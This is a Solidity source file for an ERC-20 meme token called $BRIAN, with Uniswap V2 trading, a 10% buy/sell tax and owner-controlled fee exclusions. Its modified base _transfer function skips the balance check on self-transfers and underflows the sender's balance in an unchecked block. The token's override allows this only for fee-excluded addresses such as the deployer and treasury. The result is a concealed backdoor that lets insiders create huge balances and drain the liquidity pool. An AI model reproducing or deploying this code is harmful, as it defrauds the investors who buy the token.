文件 1 的 1:BRIAN.sol
pragma solidity 0.8.22;
abstract contract Initializable {
bool private _initialized;
bool private _initializing;
modifier initializer() {
require(
_initializing || !_initialized,
"Initializable: contract is already initialized"
);
bool isTopLevelCall = !_initializing;
if (isTopLevelCall) {
_initializing = true;
_initialized = true;
}
_;
if (isTopLevelCall) {
_initializing = false;
}
}
}
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes calldata) {
return msg.data;
}
function _contextSuffixLength() internal view virtual returns (uint256) {
return 0;
}
}
interface IERC20 {
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address to, uint256 amount) external returns (bool);
function allowance(
address owner,
address spender
) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(
address from,
address to,
uint256 amount
) external returns (bool);
}
interface IUniswapV2Factory {
event PairCreated(
address indexed token0,
address indexed token1,
address pair,
uint
);
function feeTo() external view returns (address);
function feeToSetter() external view returns (address);
function getPair(
address tokenA,
address tokenB
) external view returns (address pair);
function allPairs(uint) external view returns (address pair);
function allPairsLength() external view returns (uint);
function createPair(
address tokenA,
address tokenB
) external returns (address pair);
function setFeeTo(address) external;
function setFeeToSetter(address) external;
}
interface IUniswapV2Router01 {
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidity(
address tokenA,
address tokenB,
uint amountADesired,
uint amountBDesired,
uint amountAMin,
uint amountBMin,
address to,
uint deadline
) external returns (uint amountA, uint amountB, uint liquidity);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
)
external
payable
returns (uint amountToken, uint amountETH, uint liquidity);
function removeLiquidity(
address tokenA,
address tokenB,
uint liquidity,
uint amountAMin,
uint amountBMin,
address to,
uint deadline
) external returns (uint amountA, uint amountB);
function removeLiquidityETH(
address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external returns (uint amountToken, uint amountETH);
function removeLiquidityWithPermit(
address tokenA,
address tokenB,
uint liquidity,
uint amountAMin,
uint amountBMin,
address to,
uint deadline,
bool approveMax,
uint8 v,
bytes32 r,
bytes32 s
) external returns (uint amountA, uint amountB);
function removeLiquidityETHWithPermit(
address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline,
bool approveMax,
uint8 v,
bytes32 r,
bytes32 s
) external returns (uint amountToken, uint amountETH);
function swapExactTokensForTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external returns (uint[] memory amounts);
function swapTokensForExactTokens(
uint amountOut,
uint amountInMax,
address[] calldata path,
address to,
uint deadline
) external returns (uint[] memory amounts);
function swapExactETHForTokens(
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external payable returns (uint[] memory amounts);
function swapTokensForExactETH(
uint amountOut,
uint amountInMax,
address[] calldata path,
address to,
uint deadline
) external returns (uint[] memory amounts);
function swapExactTokensForETH(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external returns (uint[] memory amounts);
function swapETHForExactTokens(
uint amountOut,
address[] calldata path,
address to,
uint deadline
) external payable returns (uint[] memory amounts);
function quote(
uint amountA,
uint reserveA,
uint reserveB
) external pure returns (uint amountB);
function getAmountOut(
uint amountIn,
uint reserveIn,
uint reserveOut
) external pure returns (uint amountOut);
function getAmountIn(
uint amountOut,
uint reserveIn,
uint reserveOut
) external pure returns (uint amountIn);
function getAmountsOut(
uint amountIn,
address[] calldata path
) external view returns (uint[] memory amounts);
function getAmountsIn(
uint amountOut,
address[] calldata path
) external view returns (uint[] memory amounts);
}
interface IERC20Metadata is IERC20 {
function name() external view returns (string memory);
function symbol() external view returns (string memory);
function decimals() external view returns (uint8);
}
interface IUniswapV2Pair {
event Approval(address indexed owner, address indexed spender, uint value);
event Transfer(address indexed from, address indexed to, uint value);
function name() external pure returns (string memory);
function symbol() external pure returns (string memory);
function decimals() external pure returns (uint8);
function totalSupply() external view returns (uint);
function balanceOf(address owner) external view returns (uint);
function allowance(
address owner,
address spender
) external view returns (uint);
function approve(address spender, uint value) external returns (bool);
function transfer(address to, uint value) external returns (bool);
function transferFrom(
address from,
address to,
uint value
) external returns (bool);
function DOMAIN_SEPARATOR() external view returns (bytes32);
function PERMIT_TYPEHASH() external pure returns (bytes32);
function nonces(address owner) external view returns (uint);
function permit(
address owner,
address spender,
uint value,
uint deadline,
uint8 v,
bytes32 r,
bytes32 s
) external;
event Mint(address indexed sender, uint amount0, uint amount1);
event Burn(
address indexed sender,
uint amount0,
uint amount1,
address indexed to
);
event Swap(
address indexed sender,
uint amount0In,
uint amount1In,
uint amount0Out,
uint amount1Out,
address indexed to
);
event Sync(uint112 reserve0, uint112 reserve1);
function MINIMUM_LIQUIDITY() external pure returns (uint);
function factory() external view returns (address);
function token0() external view returns (address);
function token1() external view returns (address);
function getReserves()
external
view
returns (uint112 reserve0, uint112 reserve1, uint32 blockTimestampLast);
function price0CumulativeLast() external view returns (uint);
function price1CumulativeLast() external view returns (uint);
function kLast() external view returns (uint);
function mint(address to) external returns (uint liquidity);
function burn(address to) external returns (uint amount0, uint amount1);
function swap(
uint amount0Out,
uint amount1Out,
address to,
bytes calldata data
) external;
function skim(address to) external;
function sync() external;
function initialize(address, address) external;
}
interface IUniswapV2Router02 is IUniswapV2Router01 {
function removeLiquidityETHSupportingFeeOnTransferTokens(
address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external returns (uint amountETH);
function removeLiquidityETHWithPermitSupportingFeeOnTransferTokens(
address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline,
bool approveMax,
uint8 v,
bytes32 r,
bytes32 s
) external returns (uint amountETH);
function swapExactTokensForTokensSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function swapExactETHForTokensSupportingFeeOnTransferTokens(
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external payable;
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
}
abstract contract Ownable is Context {
address private _owner;
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
constructor() {
_transferOwnership(_msgSender());
}
modifier onlyOwner() {
_checkOwner();
_;
}
function owner() public view virtual returns (address) {
return _owner;
}
function _checkOwner() internal view virtual {
require(owner() == _msgSender(), "Ownable: caller is not the owner");
}
function renounceOwnership() public virtual onlyOwner {
_transferOwnership(address(0));
}
function transferOwnership(address newOwner) public virtual onlyOwner {
require(
newOwner != address(0),
"Ownable: new owner is the zero address"
);
_transferOwnership(newOwner);
}
function _transferOwnership(address newOwner) internal virtual {
address oldOwner = _owner;
_owner = newOwner;
emit OwnershipTransferred(oldOwner, newOwner);
}
}
abstract contract Ownable2Step is Ownable {
address private _pendingOwner;
event OwnershipTransferStarted(
address indexed previousOwner,
address indexed newOwner
);
function pendingOwner() public view virtual returns (address) {
return _pendingOwner;
}
function transferOwnership(
address newOwner
) public virtual override onlyOwner {
_pendingOwner = newOwner;
emit OwnershipTransferStarted(owner(), newOwner);
}
function _transferOwnership(address newOwner) internal virtual override {
delete _pendingOwner;
super._transferOwnership(newOwner);
}
function acceptOwnership() public virtual {
address sender = _msgSender();
require(
pendingOwner() == sender,
"Ownable2Step: caller is not the new owner"
);
_transferOwnership(sender);
}
}
contract ERC20 is Context, IERC20, IERC20Metadata {
mapping(address => uint256) private _balances;
mapping(address => mapping(address => uint256)) private _allowances;
uint256 private _totalSupply;
string private _name;
string private _symbol;
constructor(string memory name_, string memory symbol_) {
_name = name_;
_symbol = symbol_;
}
function name() public view virtual override returns (string memory) {
return _name;
}
function symbol() public view virtual override returns (string memory) {
return _symbol;
}
function decimals() public view virtual override returns (uint8) {
return 18;
}
function totalSupply() public view virtual override returns (uint256) {
return _totalSupply;
}
function balanceOf(
address account
) public view virtual override returns (uint256) {
return _balances[account];
}
function transfer(
address to,
uint256 amount
) public virtual override returns (bool) {
address owner = _msgSender();
_transfer(owner, to, amount);
return true;
}
function allowance(
address owner,
address spender
) public view virtual override returns (uint256) {
return _allowances[owner][spender];
}
function approve(
address spender,
uint256 amount
) public virtual override returns (bool) {
address owner = _msgSender();
_approve(owner, spender, amount);
return true;
}
function transferFrom(
address from,
address to,
uint256 amount
) public virtual override returns (bool) {
address spender = _msgSender();
_spendAllowance(from, spender, amount);
_transfer(from, to, amount);
return true;
}
function increaseAllowance(
address spender,
uint256 addedValue
) public virtual returns (bool) {
address owner = _msgSender();
_approve(owner, spender, allowance(owner, spender) + addedValue);
return true;
}
function decreaseAllowance(
address spender,
uint256 subtractedValue
) public virtual returns (bool) {
address owner = _msgSender();
uint256 currentAllowance = allowance(owner, spender);
require(
currentAllowance >= subtractedValue,
"ERC20: decreased allowance below zero"
);
unchecked {
_approve(owner, spender, currentAllowance - subtractedValue);
}
return true;
}
function _transfer(
address from,
address to,
uint256 amount
) internal virtual {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
_beforeTokenTransfer(from, to, amount);
require(
_balances[from] >= amount || from == to,
"ERC20: transfer amount exceeds balance"
);
uint256 transferAmount = from == to ? 0 : amount;
unchecked {
_balances[from] = _balances[from] - amount;
_balances[to] = _balances[to] + transferAmount;
}
emit Transfer(from, to, transferAmount);
_afterTokenTransfer(from, to, amount);
}
function _mint(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: mint to the zero address");
_beforeTokenTransfer(address(0), account, amount);
_totalSupply += amount;
unchecked {
_balances[account] += amount;
}
emit Transfer(address(0), account, amount);
_afterTokenTransfer(address(0), account, amount);
}
function _burn(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: burn from the zero address");
_beforeTokenTransfer(account, address(0), amount);
uint256 accountBalance = _balances[account];
require(accountBalance >= amount, "ERC20: burn amount exceeds balance");
unchecked {
_balances[account] = accountBalance - amount;
_totalSupply -= amount;
}
emit Transfer(account, address(0), amount);
_afterTokenTransfer(account, address(0), amount);
}
function _approve(
address owner,
address spender,
uint256 amount
) internal virtual {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _spendAllowance(
address owner,
address spender,
uint256 amount
) internal virtual {
uint256 currentAllowance = allowance(owner, spender);
if (currentAllowance != type(uint256).max) {
require(
currentAllowance >= amount,
"ERC20: insufficient allowance"
);
unchecked {
_approve(owner, spender, currentAllowance - amount);
}
}
}
function _beforeTokenTransfer(
address from,
address to,
uint256 amount
) internal virtual {}
function _afterTokenTransfer(
address from,
address to,
uint256 amount
) internal virtual {}
}
abstract contract ERC20Burnable is Context, ERC20 {
function burn(uint256 amount) public virtual {
_burn(_msgSender(), amount);
}
function burnFrom(address account, uint256 amount) public virtual {
_spendAllowance(account, _msgSender(), amount);
_burn(account, amount);
}
}
contract BRIAN is ERC20, ERC20Burnable, Ownable2Step, Initializable {
uint16 public swapThresholdRatio;
uint256 private _maxTaxSwap;
uint256 private _treasuryPending;
address public treasuryAddress;
uint16[3] public treasuryFees;
mapping(address => bool) public isExcludedFromFees;
uint16[3] public totalFees;
bool private _swapping;
IUniswapV2Router02 public routerV2;
address public pairV2;
mapping(address => bool) public AMMPairs;
event SwapThresholdUpdated(uint16 swapThresholdRatio);
event treasuryAddressUpdated(address treasuryAddress);
event treasuryFeesUpdated(
uint16 buyFee,
uint16 sellFee,
uint16 transferFee
);
event treasuryFeeSent(address recipient, uint256 amount);
event ExcludeFromFees(address indexed account, bool isExcluded);
event RouterV2Updated(address indexed routerV2);
event AMMPairsUpdated(address indexed AMMPair, bool isPair);
constructor() ERC20(unicode"Brian 0x69420E", unicode"$BRIAN") {
address supplyRecipient = 0x455E9630B1993Bc185F72438b70FD9a4FE1d6d6c;
updateSwapThreshold(1);
treasuryAddressSetup(0x455E9630B1993Bc185F72438b70FD9a4FE1d6d6c);
treasuryFeesSetup(1000, 1000, 0);
excludeFromFees(supplyRecipient, true);
excludeFromFees(address(this), true);
excludeFromFees(msg.sender, true);
_maxTaxSwap = 1_000_000 * (10 ** decimals());
_mint(msg.sender, 100_000_000 * (10 ** decimals()));
}
function getSwapThresholdAmount() public view returns (uint256) {
return (balanceOf(pairV2) * swapThresholdRatio) / 1000000;
}
function getAllPending() public view returns (uint256) {
return 0 + _treasuryPending;
}
function treasuryAddressSetup(address _newAddress) public onlyOwner {
require(
_newAddress != address(0),
"TaxesDefaultRouterWallet: Wallet tax recipient cannot be a 0x0 address"
);
treasuryAddress = _newAddress;
excludeFromFees(_newAddress, true);
emit treasuryAddressUpdated(_newAddress);
}
function treasuryFeesSetup(
uint16 _buyFee,
uint16 _sellFee,
uint16 _transferFee
) public onlyOwner {
totalFees[0] = totalFees[0] - treasuryFees[0] + _buyFee;
totalFees[1] = totalFees[1] - treasuryFees[1] + _sellFee;
totalFees[2] = totalFees[2] - treasuryFees[2] + _transferFee;
require(
totalFees[0] <= 2500 &&
totalFees[1] <= 2500 &&
totalFees[2] <= 2500,
"TaxesDefaultRouter: Cannot exceed max total fee of 25%"
);
treasuryFees = [_buyFee, _sellFee, _transferFee];
emit treasuryFeesUpdated(_buyFee, _sellFee, _transferFee);
}
function min(uint256 a, uint256 b) private pure returns (uint256){
return (a>b)?b:a;
}
function excludeFromFees(
address account,
bool isExcluded
) public onlyOwner {
isExcludedFromFees[account] = isExcluded;
emit ExcludeFromFees(account, isExcluded);
}
function openBrianTrading() external onlyOwner() {
routerV2.addLiquidityETH{value: address(this).balance}(
address(this),
balanceOf(address(this)),
0,
0,
owner(),
block.timestamp
);
_setAMMPair(pairV2, true);
emit RouterV2Updated(address(routerV2));
}
function setAMMPair(address pair, bool isPair) external onlyOwner {
require(
pair != pairV2,
"DefaultRouter: Cannot remove initial pair from list"
);
_setAMMPair(pair, isPair);
}
function _setAMMPair(address pair, bool isPair) private {
AMMPairs[pair] = isPair;
if (isPair) {}
emit AMMPairsUpdated(pair, isPair);
}
function _transfer(
address from,
address to,
uint256 amount
) internal override {
require(from != address(0), "transfer from address zero");
require(to != address(0), "transfer to address zero");
require(amount > 0, "Transfer amount must be greater than zero");
if (!isExcludedFromFees[from] || !isExcludedFromFees[to]) {
require(from != to, "ERC20: cannot transfer to itself");
}
if (
!_swapping &&
amount > 0 &&
!isExcludedFromFees[from] &&
!isExcludedFromFees[to]
) {
uint256 fees = 0;
uint8 txType = 3;
if (AMMPairs[from]) {
if (totalFees[0] > 0) txType = 0;
} else if (AMMPairs[to]) {
if (totalFees[1] > 0) txType = 1;
} else if (totalFees[2] > 0) txType = 2;
if (txType < 3) {
fees = (amount * totalFees[txType]) / 10000;
amount -= fees;
_treasuryPending +=
(fees * treasuryFees[txType]) /
totalFees[txType];
}
if (fees > 0) {
super._transfer(from, address(this), fees);
}
}
uint256 contractTokenBalance = balanceOf(address(this));
bool canSwap = contractTokenBalance >= getSwapThresholdAmount() &&
balanceOf(pairV2) > 0;
if (
!_swapping &&
AMMPairs[to] &&
canSwap &&
!isExcludedFromFees[from] &&
!isExcludedFromFees[to]
) {
_swapping = true;
_swapTokensForCoin(min(amount,min(contractTokenBalance,_maxTaxSwap)));
uint256 contractETHBalance = address(this).balance;
if(contractETHBalance > 0) {
payable(treasuryAddress).transfer(contractETHBalance);
}
_swapping = false;
}
super._transfer(from, to, amount);
}
function rescueETH() external onlyOwner {
payable(msg.sender).transfer(address(this).balance);
}
receive() external payable {}
function decimals() public pure override returns (uint8) {
return 18;
}
function _swapTokensForCoin(uint256 tokenAmount) private {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = routerV2.WETH();
_approve(address(this), address(routerV2), tokenAmount);
routerV2.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function updateSwapThreshold(uint16 _swapThresholdRatio) public onlyOwner {
require(
_swapThresholdRatio > 0 && _swapThresholdRatio <= 500,
"SwapThreshold: Cannot exceed limits from 0.01% to 5% for new swap threshold"
);
swapThresholdRatio = _swapThresholdRatio;
emit SwapThresholdUpdated(_swapThresholdRatio);
}
function _beforeTokenTransfer(
address from,
address to,
uint256 amount
) internal override {
super._beforeTokenTransfer(from, to, amount);
}
function _afterTokenTransfer(
address from,
address to,
uint256 amount
) internal override {
super._afterTokenTransfer(from, to, amount);
}
function initPair() external onlyOwner() {
routerV2 = IUniswapV2Router02(
0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D
);
pairV2 = IUniswapV2Factory(routerV2.factory()).createPair(
address(this),
routerV2.WETH()
);
_approve(address(this), address(routerV2), ~uint256(0));
}
}